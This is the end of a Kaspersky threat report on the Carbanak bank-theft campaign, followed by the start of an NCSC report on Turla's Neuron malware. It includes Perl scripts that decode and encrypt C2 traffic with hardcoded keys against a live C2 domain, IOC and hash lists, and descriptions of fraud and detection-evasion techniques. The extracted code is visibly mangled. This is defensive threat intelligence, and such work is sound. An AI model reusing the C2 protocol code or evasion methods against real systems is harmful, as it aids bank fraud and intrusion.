This picture helps the attackers to deploy their malicious operations, for example: Attackers created fake transactions in the victims internal database after theverification process, thus avoiding discovery of the fraudulent activity Attackers used the victims internal command utilities to insert fraudulent operations in the transaction queue.
In general, the attackers demonstrated great versatility, using attack methodologies best suited to a specific victims operational methodology.
However, they seemed to deliberately limit the amount of money stolen per victim to 10 million USD.
This limit may be explained as the maximum amount 22 TLP: White For any inquiries, please contact intelreportskaspersky.com of money that can be transferred via mule services, or the maximum amount of money that is budgeted in banks for fraud risks in order to minimize the chances of LEAs and the banks anti-fraud teams from doing a full blown analysis.
Figure 15.
List of PIN KVC used on ATMs Sensitive bank documents have be found on the servers that were controlling Carbanak.
They included classified emails, manuals, crypto keys, passwords andso on.
For example, the file in the above figure has KVC (key verification codes) keys that are used by ATMs to check the integrity of the PIN numbers of its users.
In other cases involving ATMs, the criminals were able to control computers that had access to the internal ATM network.
If the bank had enabled remote access to ATMs, the criminals started using this access to remotely withdraw cash.
Criminals used no malware to operate the ATM dispenser instead they used standard utilities to control and test ATM equipment.
23 TLP: White For any inquiries, please contact intelreportskaspersky.com 3.
Conclusions Malware targeting the finance industry (both companies and consumers) continues to evolve.
The Carbanak malware used in the on-going campaign described in this report has been very successful in terms of generating revenue.
Of particular interest are the attack methods, similar to those used in sophisticated cyber-espionage APTs.
As such, they represent a new and disturbing trend in the cybercrime market of increasing attack sophistication.
Despite increased awareness of cybercrime within the financial services sector, it appears that spear phishing attacks and old exploits (for which patches have been disseminated) remain effective against larger companies.
Attackers always use this minimal effort approach in order to bypass a victims defenses.
Advanced control and fraud detection systems have been used for years by the financial services industry.
However, these focus on fraudulent transactions within customer accounts.
The Carbanak attackers bypassed these protections, by for example, using the industry-wide funds transfer (the SWIFT network), updating balances of account holders and using disbursement mechanisms (the ATM network).
In neither of these cases did the attackers exploit a vulnerability within the service.
Instead, they studied the victims internal procedures and pinpointed who they should impersonate locally in order to process fraudulent transactions through the aforementioned services.
It is clear that the attackers were very familiar with financial services software and networks.
As part of an automated reconnaissance phase, the Carbanak malware checked victim systems for the presence of specialized and specific banking software.
Only after the presence of banking systems was confirmed, were victims further exploited.
To date, attacks against approximately 300 IP addresses around the world have been observed on analyzed C2s.
It is possible that these attacks were coordinated to maximize returns prior to industry-wide information sharing and the implementation of countermeasures.
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries, the Middle East, Asia and Africa.
Carbanak may be responsible for losses as high as 1 billion USD.
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers.
APTs are not only for stealing information anymore.
24 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 1: C2 protocol decoders Decryptor /usr/bin/perl -w Work with Carbanak c2 use strict use warnings use Crypt::CBC use Crypt::Cipher::RC2 use MIME::Base64 use LWP::Simple my c2  worldnewsonline.pw my reguest  1234567890123456 my reguest_was  JybDHkfWGURJPuWeUpPMX/ca9BThbDim0Hdk/9YzkJS7m8a19tz QwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKf MjpWBM18eX8VUiimyaUZMGoClZ6eShS9tLCK tuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4V fyUz.shtml reguest_was  tr/\/\\\?//d my replace my find.shtml reguest_was  s/\Qfind\E//g reguest_was  s/-//g reguest_was  s/\./\//g print reguest_was\n my iv  substr reguest_was,0,8 reguest_was  substr reguest_was,8 my base64_decoded1  decode_base64(reguest_was) print base64_decoded1\n my length  length(base64_decoded1) print length is: length\n print iv is: iv\n print req is: reguest_was\n my base64_decoded  base64_decoded1 my key  vfDGbiwmiqdN6E2N my key  1234567812345678 my cipher  Crypt::CBC-new( -cipherCipher::RC2, -headernone, -literal_key1, -keykey,  keysize16, -iviv ) my plaintext  cipher-decrypt(base64_decoded) print Decode:\ nplaintext\n Decrypt is HWUMRbvuwKQCrkOhuckIXpdFgtdnew0878802c8004333a3datalistprocesspro cesssvchost.exeidproce ss4294967295lBHReFDRDfYG my url  http://c2/base64_encoded print url my contents  get(url) print contents 25 TLP: White For any inquiries, please contact intelreportskaspersky.com Encryptor /usr/bin/perl -w Decrypt Carbanak c2 responce use strict use warnings use Crypt::CBC use Crypt::Cipher::RC2 use MIME::Base64 use LWP::Simple my c2  worldnewsonline.pw my reguest HWUMRbvuwKQCrkOhuckIXpdFgtdnew0878802c8004333a3datalistprocesspro cesssvchost.exeidproces s4294967295lBHReFDRDfYG my iv  JybDHkfW should be random my key  vfDGbiwmiqdN6E2N my cipher  Crypt::CBC-new( -cipherCipher::RC2, -headernone, -literal_key1, -keykey,  keysize16, -iviv ) my ciphertext  cipher-encrypt(reguest) my base64_encoded  encode_base64(ciphertext) base64_encoded  s/\x0a//g base64_encoded  s/\//\./g base64_encoded  s/\/-/g my base64_encoded_ex  ivbase64_encoded.php my url http://c2/base64_encoded_ex print url http://worldnewsonline.pw/ GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp ZGp.
dmDwKfMjpW.BM18eX8VUiimyaUZMGoClZ6eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHG ZCBPj.vd08D UENC5o.
AE4VfyUz..php my contents  get(url) print contents http://worldnewsonline.pw/GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp http://worldnewsonline.pw/GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp http://worldnewsonline.pw/GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp 26 TLP: White For any inquiries, please contact intelreportskaspersky.com Decrypt Files from CnC /usr/bin/perl -w Decrypt Files from sended from c2 use strict use warnings use Crypt::CBC use Crypt::Cipher::RC2 use MIME::Base64 use LWP::Simple my fileARGV[0] open(DATA, file) open(DATA1, file) open(DATA2, file) binmode(DATA) binmode(DATA1) binmode(DATA2) my (data, n, offset) while ((n  read DATA, data, 1, offset)  0)  offset  n  my length  offset my iv_len  read DATA1, my iv, 8, 0 read DATA2, my crypt_data, length, 8 my key  vfDGbiwmiqdN6E2N my cipher  Crypt::CBC-new( -cipherCipher::RC2, -headernone, -literal_key1, -keykey,  keysize16, -iviv ) my plaintext  cipher-decrypt(crypt_data) print plaintext 27 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 2: BAT file to detect infection echo off for /f a in (hostname) do set namea echo name del /f name.log 2 nul if exist c:\Documents and settings\All users\application data\ mozilla\.bin echo BIN detected  name.log if exist SYSTEMROOT\System32\com\svchost.exe echo COM detected  name.log if exist c:\ProgramData\mozilla\.bin echo BIN2 detected name.log if exist SYSTEMROOT\paexec echo Paexec detected name.log if exist SYSTEMROOT\Syswow64\com\svchost.exe echo COM64 detected  name.log SC QUERY state all  find SERVICE_NAME  findstr Sys if qERRORLEVEL  q0 SC QUERY state all  find SERVICE_NAME  findstr Sys  name.log if not exist name.log echo Ok  name.log xcopy /y name.log \\IP\logVirus 28 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 3: IOC hosts IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 108.61.197.254 2014-07 Carbanaks Linux CnC 1046652E0AAA682F89068731FA5E8E50 112.78.3.142 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 118.163.216.107 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 131.72.138.18 2014-11 Carbanaks Linux CnC Internet scan 141.60.162.150 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 146.185.220.200 2014-08 Carbanaks Linux CnC Victims logs 162.221.183.109 2014-12 Carbanaks Windows backconnect 1684a5eafd51852c43b4bca48b58980f 162.221.183.11 2014-12 Carbanaks Windows backconnect 1684a5eafd51852c43b4bca48b58980f 173.201.45.158 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 173.237.187.203 2014-08 RedKit ExploitKit Victims logs Exploits drop zone that used to install Carbanak 174.143.147.168 2014-10 Related to Carbanak CnC of other malware used to install Carbanak 185.10.56.59 2014-08 Carbanaks Windows backconnect 551d41e2a4dd1497b3b27a91922d29cc 185.10.56.59:443 2014-07 Carbanaks Windows backconnect 4afafa81731f8f02ba1b58073b47abdf 185.10.58.175 2014-07 Carbanaks Linux CnC 4afafa81731f8f02ba1b58073b47abdf IP of financialnewsonline.
pw 188.138.16.214 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 188.138.98.105 2014-10 Carbanaks Windows backconnect 0AD4892EAD67E65EC3DD4C978FCE7D92 29 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 188.40.224.76 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 190.97.165.126 2014-08 Related to Carbanak Victims logs Ip of SSHD backdoor installed after Carbanaks infection 194.44.218.102 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 195.113.26.195 2014-11 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 198.101.229.24 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 199.255.116.12 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 199.79.62.69 2014-07 Related to Carbanak Victims logs Exploits used to install Carbanak 204.227.182.242 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 208.109.248.146 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 209.222.30.5 2014-07 Carbanaks Windows backconnect 1046652E0AAA682F89068731FA5E8E50 216.170.117.7 2015-02 Carbanaks Linux Cnc 6ae1bb06d10f253116925371c8e3e74b 216.170.117.88 2015-02 Carbanaks Linux CnC 217.172.183.184 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 217.172.186.179 2014-10 Carbanaks Linux CnC Victims logs 218.76.220.106 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 31.131.17.79 2014-09 Carbanaks plugin CnC Victims logs 31.131.17.81 2014-09 Carbanaks plugin CnC Victims logs CnC of other malware used after Carbanaks infection 32dsffds8743jsdf.
com 2014-10 Carbanaks Linux CnC 08f83d98b18d3dff16c35a20e24ed49a 30 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 37.235.54.48 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 37.46.114.148 2014-10 Carbanaks Linux CnC Victims logs 37.59.202.124 2014-12 Carbanaks Linux CnC Internet scan 5.101.146.184 2014-10 Carbanaks Linux CnC Victims logs 5.135.111.89 2015-02 Carbanaks Windows backconnect 100d516821d99b09718b362d5a4b9a2f 5.61.32.118 2014-10 Carbanaks Windows backconnect 972092CBE7791D27FC9FF6E9ACC12CC3 5.61.38.52 2014-10 Carbanaks Windows backconnect 08f83d98b18d3dff16c35a20e24ed49a 50.115.127.36 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 50.115.127.37 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 55.198.6.56 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 61.7.219.61 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 62.75.224.229 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 66.55.133.86 2014-10 Carbanaks Linux CnC 972092CBE7791D27FC9FF6E9ACC12CC3 67.103.159.140 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 69.64.48.125 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 74.208.170.163 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 78.129.184.4 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 31 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 79.99.6.187 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 81.4.110.128 2014-08 Related to Carbanak Victims logs Used by criyminals to control infected machines 83.16.41.202 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 83.166.234.250 2014-10 Carbanaks Windows backconnect F66992766D8F9204551B3C42336B4F6D 83.246.67.58 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 85.25.117.154 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 85.25.20.109 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 85.25.207.212 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 87.106.8.177 2014-10 Related to Carbanak Victims logs Exploits used to install Carbanak 87.98.153.34 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 88.198.184.241 2014-12 Carbanaks Windows backconnect 6AE1BB06D10F253116925371C8E3E74B 91.194.254.38 2014-07 Carbanaks Linux CnC 446c75b77836b776ec3f502fce48b014 91.194.254.90 2014-09 Carbanaks Linux CnC Victims logs 91.194.254.91 2014-09 Carbanaks Linux CnC Victims logs 91.194.254.92 2014-07 Carbanaks Linux CnC Internet scan 91.194.254.93 2014-07 Carbanaks Linux CnC Internet scan 91.194.254.94 2014-07 Carbanaks Linux CnC Internet scan 91.194.254.98 2014-07 Carbanaks Linux CnC Internet scan 32 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 93.95.102.109 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 93.95.99.232 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 94.247.178.230 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 95.0.250.113 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection adguard.name 2014-07 Carbanaks Linux CnC Victims logs beefeewhewhush- eelu.biz 2014-07 Andromedas CC Victims logs CnC of other malware used to install Carbanak blizko.net 2014-07 Carbanaks Linux CnC Victims logs comixed.org 2014-12 Carbanaks Linux CnC 1684a5eafd51852c43b4bca48b58980f coral-trevel.com 2014-07 Carbanaks Linux CnC Internet scan datsun-auto.com 2014-04 Carbanaks Linux CnC cb915d1bd7f21b29edc179092e967331 di-led.com 2014-07 Carbanaks Linux CnC 446c75b77836b776ec3f502fce48b014 financialnewson- line.pw 2014-07 Carbanaks Linux CnC 4afafa81731f8f02ba1b58073b47abdf financialwiki.pw 2014-07 Carbanaks Linux CnC 4afafa81731f8f02ba1b58073b47abdf flowindaho.info 2014-07 Carbanaks Linux CnC reverse IP 91.194.254.93 freemsk-dns.com 2014-08 Carbanaks Linux CnC reverse IP 146.185.220.200 gjhhghjg6798.com 2014-10 Carbanaks Linux CnC 972092CBE7791D27FC9FF6E9ACC12CC3 glonass-map.com 2014-12 Carbanaks Linux CnC 6AE1BB06D10F253116925371C8E3E74B great-codes.com 2014-10 Carbanaks Linux CnC 0AD4892EAD67E65EC3DD4C978FCE7D92 icafyfootsinso.ru 2014-08 Related to Carbanak Victims logs Used by criminals to control infected machines idedroatyxoaxi.ru 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 33 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment ivaserivaseeer.biz 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak microloule461soft- c1pol361.com 2014-10 Carbanaks Linux CnC F66992766D8F9204551B3C42336B4F6D microsoftc1pol361.
com 2014-10 Carbanaks Linux CnC F66992766D8F9204551B3C42336B4F6D mind-finder.com 2014-07 Carbanaks Linux CnC 0AD4892EAD67E65EC3DD4C978FCE7D92 operatemesscont.
net 2014-08 Connect to infected sshd Victims logs Used by criminals to control infected machines paradise-plaza.com 2014-07 Carbanaks Linux CnC Internet scan public-dns.us 2014-08 Carbanaks Linux CnC reverse IP 146.185.220.200 publics-dns.com 2014-07 Carbanaks Linux CnC Internet scan systemsvc.net 2014-11 Carbanaks Linux CnC reverse IP 131.72.138.18 system-svc.net 2014-11 Carbanaks Linux CnC reverse IP 131.72.138.18 traider-pro.com 2014-12 Carbanaks Linux CnC reverse IP 91.194.254.94 travel-maps.info 2014-07 Carbanaks Linux CnC reverse IP 91.194.254.38 update-java.net 2014-08 Carbanaks Linux CnC reverse IP 146.185.220.200 veslike.com 2014-07 Carbanaks Linux CnC Internet scan wefwe3223wfdsf.
com 2014-10 Carbanaks Linux CnC 08f83d98b18d3dff16c35a20e24ed49a worldnews24.pw 2014-08 Carbanaks Linux CnC 551d41e2a4dd1497b3b27a91922d29cc worldnewsonline.pw 2014-08 Carbanaks Linux CnC 551d41e2a4dd1497b3b27a91922d29cc 34 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 4: Spear phishing This section contains details on spear phishing emails sent by the attackers to infect victims.
MD5:    8fa296efaf87ff4d9179283d42372c52 Name of attachment:    - 115  24.06.2014.doc Drops executable: MD5:  a1979aa159e0c54212122fd8acb24383  (Carbanak) Compiled   Mon Apr 04 20:00:57 2011  (Probably fake) C2  on  update- java.net C2  key  1234567812345678 RDP  on  37.235.54.48:443 MD5:    665b6cb31d962aefa3037b5849889e06 Name of attachment:   .doc Drops executable: MD5:   4afafa81731f8f02ba1b58073b47abdf  (Carbanak) Compiled   Tue Jul 01 03:20:06 2014 Connects to: financialnewsonline.pw/FYocDxXpn5MXsHwZX/kLUAbd3w2/uUTsarcVKYk2W3B6hnc Z/Gafh8U1W805Lo0N/np7E3ICR6qx8keLDJZqUGXJKBDzfc6VYz9TNIlktObQ.htm (185.10.58.175) C2  on  financialnewsonline.pw, financialwiki.pw C2  key  TXeyuryWcIuzxkWnyu RDP  on  185.10.56.59:443 MD5:    2c395f211db2d02cb544448729d0f081 Name of attachment:   new.doc Drops executable: MD5:   551d41e2a4dd1497b3b27a91922d29cc  (Carbanak) Compiled   Mon Aug 04 01:10:40 2014 Connects to: http://worldnewsonline.pw/JybDHkfWGURJPuWeUpPMX/ca9BThbDim0Hdk/9YzkJS7 m8a19tzQwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKfMjpWBM18eX8VUiimyaUZMGoClZ6 eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4VfyUz.shtml C2s  on  worldnewsonline.pw, worldnews24.pw C2  key  JDvkyfhZxkMmDSwUkqvReIvC RDP  on  185.10.56.59:443 MD5:    31e16189e9218cb131fdb13e75d0a94f Name of attachment:   - .doc Drops executable: MD5:   4e107d20832fff89a41f04c4dff1739b  (Carbanak) C2  on  public- dns.us C2  key  1234567812345678 RDP  on  37.235.54.48:443 35 TLP: White For any inquiries, please contact intelreportskaspersky.com MD5:    db83e301564ff613dd1ca23c30a387f0 Name of attachment:    - 115  21.07.2014.doc Drops executable: MD5:   cb915d1bd7f21b29edc179092e967331  (Carbanak) Compiled   Tue Apr 08 05:44:12 2014 Connects to: datsun- auto.com/bDqxEs/Ta6IPJq3zqmRY- .5/8SgGLA- F/I9CstBYT1rK7kx.440Sbtru.cgi?QVzFtNM2gdtMLscx5bB4uryjMPfpxBukmcOaD- Ucygbtzv4f8fx MD5:    f88a983fc0ef5bb446ae63250e7236dd Name of attachment:   .msg Drops executable: MD5:   3dc8c4af51c8c367fbe7c7feef4f6744  (Carbanak) Compiled   Fri Aug 08 00:48:07 2014 C2s  on  worldnewsonline.pw, worldnews24.pw C2  key  vfDGbiwmiqdN6E2N RDP  on  185.10.56.59:443 MD5:    c4a6a111a070856c49905d815f87ab49 Name of attachment: Drops executable: MD5:   cb915d1bd7f21b29edc179092e967331  (Carbanak) Connects to: GET /cBAWFvkXi94QxShRTaVVn/YzAxD/X0sZEud.5gNItbvozI3tqT5ly9UYLVii13.bml?tlxCFi Busj2OVj9GPa5houGzK.FTl0.7FBN75nMPDrlGXq4s7cIAQ0Cl662IwVjxvsiTOlG 0d0pd HTTP/1.1 Host:   datsun- auto.com MD5:    86e48a9be62494bffb3b8e5ecb4a0310 Name of attachment:   .doc Drops executable: MD5:   3dc8c4af51c8c367fbe7c7feef4f6744  (Carbanak) Compiled   Fri Aug 08 00:48:07 2014 MD5:    6c7ac8dfd7bc5c2bb1a6d7aec488c298 Name of attachment:    - 115  02.07.2014..doc, Drops executable: MD5:   cb915d1bd7f21b29edc179092e967331 (Carbanak) Compiled   Tue Apr 08 05:44:12 2014 Connects to: datsun- auto.com/bDqxEs/Ta6IPJq3zqmRY- .5/8SgGLA- F/I9CstBYT1rK7kx.440Sbtru.cgi?QVzFtNM2gdtMLscx5bB4uryjMPfpxBukmcOaD- Ucygbtzv4f8fx 36 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 5: MD5 hashes of Carbanak samples 0022c1fe1d6b036de2a08d50ac5446a5 0155738045b331f44d300f4a7d08cf21 0275585c3b871405dd299d458724db3d 0ad4892ead67e65ec3dd4c978fce7d92 0ad6da9e62a2c985156a9c53f8494171 1046652e0aaa682f89068731fa5e8e50 10e0699f20e31e89c3becfd8bf24cb4c 1300432e537e7ba07840adecf38e543b 15a4eb525072642bb43f3c188a7c3504 16cda323189d8eba4248c0a2f5ad0d8f 1713e551b8118e45d6ea3f05ec1be529 1a4635564172393ae9f43eab85652ba5 1b9b9c8db7735f1793f981d0be556d88 1d1ed892f62559c3f8234c287cb3437c 1e127b92f7102fbd7fa5375e4e5c67d1 1e47e12d11580e935878b0ed78d2294f 1f43a8803498482d360befc6dfab4218 1fd4a01932df638a8c761abacffa0207 20f8e962b2b63170b228ccaff51aeb7d 26d6bb7a4e84bec672fc461487344829 2908afb4de41c64a45e1eb2503169108 2c6112e1e60f083467dc159ffb1ceb6d 2cba1a82a78f4dcbad1087c1b71588c9 2e2aa05a217aacf3105b4ba2288ad475 36cdf98bc79b6997dd4e3a6bed035dca 36dfd1f3bc58401f7d8b56af682f2c38 39012fb6f3a93897f6c5edb1a57f76a0 3dc8c4af51c8c367fbe7c7feef4f6744 407795b49789c2f9ca6eca1fbab3c73e 45691956a1ba4a8ecc912aeb9f1f0612 4afafa81731f8f02ba1b58073b47abdf 4e107d20832fff89a41f04c4dff1739b 4f16b33c074f1c31d26d193ec74aaa56 50f70e18fe0dedabefe9bf7679b6d56c 5443b81fbb439972de9e45d801ce907a 55040dd42ccf19b5af7802cba91dbd7f 551d41e2a4dd1497b3b27a91922d29cc 56bfe560518896b0535e0e4da44266d6 5aeecb78181f95829b6eeeefb2ce4975 5da203fa799d79ed5dde485c1ed6ba76 608bdeb4ce66c96b7a9289f8cf57ce02 6163103103cdacdc2770bd8e9081cfb4 629f0657e70901e3134dcae2e2027396 643c0b9904b32004465b95321bb525eb 6e564dadc344cd2d55374dbb00646d1b 735ff7defe0aaa24e13b6795b8e85539 751d2771af1694c0d5db9d894bd134ca 763b335abecbd3d9a6d923a13d6c2519 763e07083887ecb83a87c24542d70dc5 7b30231709f1ac69e4c9db584be692f0 7d0bbdda98f44a5b73200a2c157077df 7e3253abefa52aeae9b0451cfb273690 874058e8d8582bf85c115ce319c5b0af 88c0af9266679e655298ce19e231dff1 8ace0c156eb6f1548b96c593a15cbb25 933ab95dbf7eb0e9d9470a9272bfaff3 93e44ecfcffdbb1f7f3119251ddb7670 972092cbe7791d27fc9ff6e9acc12cc3 9865bb3b4e7112ec9269a98e029cf5cb 9ad8c68b478e9030859d8395d3fdb870 9f455f0efe8c5ff69adcc456dcf00da6 a1979aa159e0c54212122fd8acb24383 a4bfd2cfbb235d869d87f5485853edae a8dc8985226b7b2c468bb82bad3e4d76 aa55dedff7f5dbe2cc4a47f2f8d44f94 ac5d3fc9da12255759a4a7e4eb3d63e7 acb01930466438d3ee981cb4fc57e196 acb4c5e2f92c84df15faa4846f17ff4e b2e6d273a9b32739c9a26f267ab7d198 b328a01f5b82830cc250e0e429fca69f b400bb2a2f9f0ce176368dc709359d3d b6c08d0db4ca1d9e16f3e164745810ff b79f7d41e30cf7d69a4d5d19dda8942e bddbb91388dd2c01068cde88a5fb939e c179ad6f118c97d3db5e04308d48f89e c1b48ca3066214a8ec988757cc3022b3 c2472adbc1f251acf26b6deb8e7a174b c687867e2c92448992c0fd00a2468752 c77331b822ca5b78c31b637984eda029 cb915d1bd7f21b29edc179092e967331 cc294f8727addc5d363bb23e10be4af2 d943ccb4a3c802d304ac29df259d14f2 db3e8d46587d86519f46f912700372e0 dbd7d010c4657b94f49ca85e4ff88790 e06a0257449fa8dc4ab8ccb6fbf2c50b e613e5252a7172329ee25525758180a4 37 TLP: White For any inquiries, please contact intelreportskaspersky.com e742242f28842480e5c2b3357b7fd6ab e938f73a10e3d2afbd77dd8ecb3a3854 eaee5bf17195a03d6bf7189965ee1bdb ef8e417e5adb2366a3279d6680c3b979 f4eddae1c0b40bfedeb89e814a2267a5 f66992766d8f9204551b3c42336b4f6d fad3a7ea0a0c6cb8e20e43667f560d7f fbc310a9c431577f3489237d48763eea ff7fd55796fa66c8245c0b90157c57c7 100d516821d99b09718b362d5a4b9a2f 6ae1bb06d10f253116925371c8e3e74b 72eff79f772b4c910259e3716f1acf49 85a26581f9aadeaa6415c01de60f932d 9ad6e0db5e2f6b59f14dd55ded057b69 a70fea1e6eaa77bdfa07848712efa259 be935b4b3c620558422093d643e2edfe c70cce41ef0e4a206b5b48fa2d460ba4 41fb85acedc691bc6033fa2c4cf6a0bc 1684a5eafd51852c43b4bca48b58980f 08f83d98b18d3dff16c35a20e24ed49a 38 TLP: White For any inquiries, please contact intelreportskaspersky.com DailyBusinessAcademyThreatPostEugeneSecureList Securelist, the resource for KasperskyLab experts technicalresearch, analysis, and thoughts.
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TLP WHITE TLP WHITE Page 1 of 8 Turla group update Neuron malware Version 1.0 Reference: NCSC-Ops/04-18 18 January 2018 Crown Copyright 2018 TLP WHITE TLP WHITE Page 2 of 8 About this Document This NCSC report provides new intelligence on the Neuron malware, a tool used by the Turla group to target the UK.
It contains IOCs and signatures for detection and network monitoring.
Handling of the Report Information in this report has been given a Traffic Light Protocol (TLP) of WHITE, which means it can be shared within and beyond the CiSP community with no handling restrictions.
Disclaimer This report draws on reported information, as well as information derived from industry sources.
TLP WHITE TLP WHITE Page 3 of 8 Contents About this Document ........................................................................................................................... 1 Handling of the Report ......................................................................................................................... 2 Disclaimer .............................................................................................................................................. 2 Introduction ............................................................................................................................................ 4 Summary of changes ....................................................................................................................... 4 Neuron Updates ................................................................................................................................... 5 Loader ................................................................................................................................................ 5 Payload .............................................................................................................................................. 6 Encryption ...................................................................................................................................... 6 Communications ........................................................................................................................... 6 Associated Files ............................................................................................................................... 6 Neuron Yara ...................................................................................................................................... 7 TLP WHITE TLP WHITE Page 4 of 8 Introduction In November 2017, the NCSC released an advisory highlighting the Turla Groups use of the tools Neuron and Nautilus.1 Since then, the NCSC has identified a new version of the Neuron malware.
The new version has been modified to evade previous detection methods.
Neuron operates on Microsoft Windows platforms, primarily targeting mail servers and web servers.
The NCSC has observed this tool being used by the Turla group to maintain persistent network access and to conduct network operations.
The compile times contained within these new binaries show that the actor implemented the required modifications to Neuron approximately five days after public releases by the NCSC and other vendors.
This NCSC report provides new intelligence on the Neuron malware, a tool used by the Turla group to target the UK.
It contains IOCs and signatures for to be used for network monitoring and detection.
The files analysed in this report are available on VirusTotal.
Summary of changes to Neuron malware The .NET payload is loaded in-memory as opposed to being dropped to disk Communications have been modified to avoid detection Some encryption methods have replaced RC4 with AES The modifications are sufficient to avoid previously released signatures IOCs.
1 https://share.cisp.org.uk/docs/DOC-6912 TLP WHITE TLP WHITE Page 5 of 8 Neuron Updates A sample of Neuron was recently uploaded to VirusTotal.
This sample appears to be an updated version of Neuron.
Changes have primarily been made to the dropper and loading mechanisms.
The PDB string embedded within the binary supports the assumption that this is a newer version by referring to itself as neuron2.
D:\Develop\sps\neuron2\x64\Release\dcomnet.pdb This sample contains sufficient modifications to frustrate detection, allowing Turla operations to continue.
Loader With previous versions of Neuron, a native dropper was utilised to write the main payload to disk, establish persistence and ensure execution.
This latest version uses a native x64 loader to execute the .NET payload in-memory.
The payload is encrypted within the loader, which ensures the payload never touches disk in plaintext.
This modification has likely been made to evade detection during disk scans performed by anti-virus products, however anti-virus products that scan memory will still likely be able to detect the payload running.
The loader has the required exports to enable the configuration as a service, therefore its believed this will be the method used for persistence.
The loader can also specify which endpoints (HTTP(S) or pipe) to listen on by passing them to the .NET executable as arguments.
In this sample the endpoints specified are different to previous versions: http://:80/OWA/OAB/ https://:443/OWA/OAB/ If no arguments are provided the payload will use the following defaults for HTTP(S) or pipes: http://:80/W3SVC/ https://:443/W3SVC/ pipe:///Winsock2/baseapi_http Error handling has been added to the new payload.
If the webserver encounters an exception it will attempt to use the default values above, if another exception occurs then the payload will revert to using the default HTTP (port 80) value.
TLP WHITE TLP WHITE Page 6 of 8 Payload The main payload is still a .NET executable, but several modifications have been made to its operation which are described below Encryption Previous versions of Neuron used RC4 for the encryption of data stored on disk or sent over the network.
Portions of the updated Neuron service have been migrated to AES, however, some components still rely on the RC4 implementation, such as encrypting command information.
The actors have configured multiple hardcoded encryption keys rather than using one for everything.
For example, one is used for normal communication between nodes, and another is used if the node is proxying a request.
These modifications are likely implemented to make detection and decryption by network defenders more difficult.
Communications The communication between clients and servers has also changed to avoid detection.
The server expects a POST request, but rather than using the previous pre-defined parameter names (cid, cadata etc.
),
the new function loops through each parameter looking for certain characters within that parameters value to determine what functionality should be performed.
This will allow the parameter names to be randomly generated and/or regularly changed, making it more difficult for network defenders to reliably detect communications.
